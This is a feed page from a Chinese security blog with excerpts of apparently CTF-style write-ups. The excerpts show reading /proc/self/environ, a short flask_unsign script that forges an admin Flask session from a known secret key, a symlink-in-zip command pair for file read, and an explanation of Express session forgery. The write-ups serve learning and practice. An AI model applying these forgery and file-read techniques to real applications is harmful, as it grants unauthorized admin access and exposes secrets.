https://1lnk.top/tags/Session%E4%BC%AA%E9%80%A0/Recent content in Session伪造 on Link's BlogHugo -- gohugo.iozh-CN© 2026 LinkTue, 18 Nov 2025 08:57:18 +0800https://1lnk.top/2025/11/18/SuperFileSystem/Tue, 18 Nov 2025 08:57:18 +0800https://1lnk.top/2025/11/18/SuperFileSystem/<h1 class="relative group">待解 <div id="待解" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#%e5%be%85%e8%a7%a3" aria-label="锚点">#</a> </span> </h1> <h2 class="relative group">为什么环境变量的key不是test？ <div id="为什么环境变量的key不是test" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#%e4%b8%ba%e4%bb%80%e4%b9%88%e7%8e%af%e5%a2%83%e5%8f%98%e9%87%8f%e7%9a%84key%e4%b8%8d%e6%98%aftest" aria-label="锚点">#</a> </span> </h2> <h2 class="relative group">为什么FileSystem不能通过proc/self/environ访问env文件？ <div id="为什么filesystem不能通过proc-self-environ访问env文件" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#%e4%b8%ba%e4%bb%80%e4%b9%88filesystem%e4%b8%8d%e8%83%bd%e9%80%9a%e8%bf%87proc-self-environ%e8%ae%bf%e9%97%aeenv%e6%96%87%e4%bb%b6" aria-label="锚点">#</a> </span> </h2> <h1 class="relative group">前置知识 <div id="前置知识" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#%e5%89%8d%e7%bd%ae%e7%9f%a5%e8%af%86" aria-label="锚点">#</a> </span> </h1> <h2 class="relative group">proc/self/environ <div id="proc-self-environ" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#proc-self-environ" aria-label="锚点">#</a> </span> </h2> <h2 class="relative group">flask_session <div id="flask-session" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#flask-session" aria-label="锚点">#</a> </span> </h2> <div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">flask_unsign</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 要伪造的数据</span> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;username&#34;</span><span class="p">:</span> <span class="s2">&#34;admin1&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;role&#34;</span><span class="p">:</span> <span class="s2">&#34;admin&#34;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="c1"># 已知密钥</span> </span></span><span class="line"><span class="cl"><span class="n">secret</span> <span class="o">=</span> <span class="s2">&#34;bbc77bd26e9f4ea1af87d1ce3c11e3c4&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 生成伪造的session</span> </span></span><span class="line"><span class="cl"><span class="n">forged_session</span> <span class="o">=</span> <span class="n">flask_unsign</span><span class="o">.</span><span class="n">sign</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">secret</span><span class="o">=</span><span class="n">secret</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">forged_session</span><span class="p">)</span></span></span></code></pre></div></div> <h1 class="relative group">复现 <div id="复现" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#%e5%a4%8d%e7%8e%b0" aria-label="锚点">#</a> </span> </h1> <p>源码</p>https://1lnk.top/2025/11/17/filesystem/Mon, 17 Nov 2025 21:08:07 +0800https://1lnk.top/2025/11/17/filesystem/<h1 class="relative group">前置知识 <div id="前置知识" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#%e5%89%8d%e7%bd%ae%e7%9f%a5%e8%af%86" aria-label="锚点">#</a> </span> </h1> <h2 class="relative group">软链接 <div id="软链接" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#%e8%bd%af%e9%93%be%e6%8e%a5" aria-label="锚点">#</a> </span> </h2> <p>ln -s <code>&lt;path_to_file&gt;</code> <code>&lt;link_name&gt;</code> zip -y <code>&lt;zip_filename&gt;</code>.zip <code>&lt;link_name&gt;</code></p> <h2 class="relative group">express框架session伪造 <div id="express框架session伪造" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#express%e6%a1%86%e6%9e%b6session%e4%bc%aa%e9%80%a0" aria-label="锚点">#</a> </span> </h2> <p>Express Session 伪造的核心原理是<strong>绕过服务器的会话验证机制，构造一个能被服务器认可的虚假会话（Session）</strong>。其本质是利用会话管理的核心逻辑漏洞（如密钥泄露、签名规则被破解等），生成符合服务器验证格式的会话标识。</p>